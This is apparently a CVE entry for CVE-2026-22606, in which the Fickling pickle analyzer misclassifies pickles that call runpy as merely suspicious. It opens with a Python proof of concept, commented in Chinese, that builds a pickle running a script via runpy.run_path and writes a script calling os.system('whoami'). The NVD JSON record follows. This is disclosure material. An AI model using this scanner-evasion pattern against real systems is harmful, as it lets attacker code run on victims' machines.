CVE-2026-22606

import pickle import runpy import os # 创建一个利用runpy.run_path()执行任意代码的恶意pickle class MaliciousPayload: def __reduce__(self): # runpy.run_path() 可以执行任意Python脚本 # 攻击者可以让它执行系统命令或下载恶意代码 return (runpy.run_path, ('/tmp/malicious_script.py',)) # 生成恶意pickle文件 malicious_pickle = pickle.dumps(MaliciousPayload()) with open('malicious.pkl', 'wb') as f: f.write(malicious_pickle) # Fickling会将此文件误判为SUSPICIOUS而非OVERTLY_MALICIOUS # 使用Fickling分析 # from fickling.pickle import Interpreter # interpreter = Interpreter.parse(malicious_pickle) # result = interpreter.check_safety() # print(result) # 输出可能是 SUSPICIOUS 而非 MALICIOUS # 创建恶意脚本用于演示 with open('/tmp/malicious_script.py', 'w') as f: f.write('print("Malicious code executed!"); os.system("whoami")')

{"cve": {"id": "CVE-2026-22606", "sourceIdentifier": "[email protected]", "published": "2026-01-10T02:15:49.637", "lastModified": "2026-01-16T18:59:35.140", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Fickling is a Python pickling decompiler and static analyzer. Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS. If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system. This affects any workflow or product that uses Fickling as a security gate for pickle deserialization. This issue has been patched in version 0.1.7."}, {"lang": "es", "value": "Fickling es un descompilador de pickling de Python y analizador estático. Las versiones de Fickling hasta la 0.1.6 inclusive no tratan el módulo runpy de Python como inseguro. Debido a esto, un pickle malicioso que utiliza runpy.run_path() o runpy.run_module() se clasifica como SOSPECHOSO en lugar de MANIFIESTAMENTE_MALICIOSO. Si un usuario confía en la salida de Fickling para decidir si un pickle es seguro para deserializar, esta clasificación errónea puede llevarlos a ejecutar código controlado por el atacante en su sistema. Esto afecta a cualquier flujo de trabajo o producto que utilice Fickling como una puerta de seguridad para la deserialización de pickles. Este problema ha sido parcheado en la versión 0.1.7."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-184"}, {"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:trailofbits:fickling:*:*:*:*:*:python:*:*", "versionEndExcluding": "0.1.7", "matchCriteriaId": "0D11EA35-A440-4468-BC69-709AA3A18DD9"}]}]}], "references": [{"url": "https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/trailofbits/fickling/releases/tag/v0.1.7", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-wfq2-52f7-7qvj", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-wfq2-52f7-7qvj", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}